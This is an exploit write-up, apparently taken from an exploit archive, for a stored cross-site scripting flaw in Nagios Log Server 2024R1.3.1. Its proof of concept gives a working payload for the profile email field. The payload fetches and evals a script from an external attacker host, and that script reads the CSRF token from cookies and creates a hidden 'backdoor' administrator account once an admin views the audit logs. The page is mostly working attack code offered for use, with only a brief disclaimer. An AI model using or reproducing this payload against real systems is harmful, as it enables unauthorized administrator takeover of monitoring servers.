989122095f
11 changes to exploits/shellcodes/ghdb AppSmith 1.47 - Remote Code Execution (RCE) ollama 0.6.4 - Server Side Request Forgery (SSRF) Vite 6.2.2 - Arbitrary File Read ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) Nagios Log Server 2024R1.3.1 - Stored XSS Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials openSIS 9.1 - SQLi (Authenticated) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure ProSSHD 1.2 - Denial of Service (DOS)
74 lines
No EOL
2.5 KiB
Markdown
74 lines
No EOL
2.5 KiB
Markdown
# Exploit Title: Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)
|
|
# Date: 2025-04-02
|
|
# Exploit Author: Seth Kraft
|
|
# Vendor Homepage: https://www.nagios.com/
|
|
# Vendor Changelog: https://www.nagios.com/changelog/#log-server
|
|
# Software Link: https://www.nagios.com/products/log-server/download/
|
|
# Version: 2024R1.3.1 and below
|
|
# Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)
|
|
# CWE: CWE-79, CWE-352, CWE-285, CWE-269, CWE-602
|
|
# CVSS: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:R/S:C/VC:H/VI:H/VA:H)
|
|
# Type: Stored Cross-Site Scripting (XSS), Privilege Escalation
|
|
# Exploit Risk: Critical
|
|
|
|
# Disclosure
|
|
For research and authorized testing only. Do not use against systems without permission.
|
|
|
|
# Description:
|
|
A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject
|
|
malicious JavaScript into the 'email' field of their profile. When an administrator views the audit logs,
|
|
the script executes, resulting in privilege escalation via unauthorized admin account creation.
|
|
The vulnerability can be chained to achieve remote code execution (RCE) in certain configurations.
|
|
|
|
# PoC
|
|
|
|
1. Log in as a standard (non-admin) user.
|
|
2. Navigate to the profile update endpoint:
|
|
|
|
http://<target-ip>/nagioslogserver/profile/update
|
|
|
|
3. Inject the following payload into the email field:
|
|
|
|
```javascript
|
|
<script>
|
|
fetch("https://<EXTERNAL-HOST>/xss.js")
|
|
.then(response => response.text())
|
|
.then(scriptText => eval(scriptText))
|
|
.catch(console.error);
|
|
</script>
|
|
```
|
|
|
|
4. Host the xss.js payload on your external server with the following content:
|
|
|
|
```javascript
|
|
(function() {
|
|
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
|
|
if (!csrfTokenMatch) return;
|
|
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
|
|
|
|
var requestBody = "csrf_ls=" + csrfToken +
|
|
"&name=backdoor" +
|
|
"&email=hacker@example.com" +
|
|
"&username=backdoor" +
|
|
"&password=Password123!" +
|
|
"&password2=Password123!" +
|
|
"&auth_type=admin" +
|
|
"&apiaccess=1" +
|
|
"&language=en_US" +
|
|
"&account_type=local";
|
|
|
|
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
|
|
method: "POST",
|
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
|
body: requestBody
|
|
})
|
|
.then(response => response.text())
|
|
.then(console.log)
|
|
.catch(console.error);
|
|
})();
|
|
```
|
|
|
|
5. Wait for an administrator to view the audit logs. The JavaScript will execute, creating a new admin account:
|
|
|
|
Username: backdoor
|
|
Password: Password123! |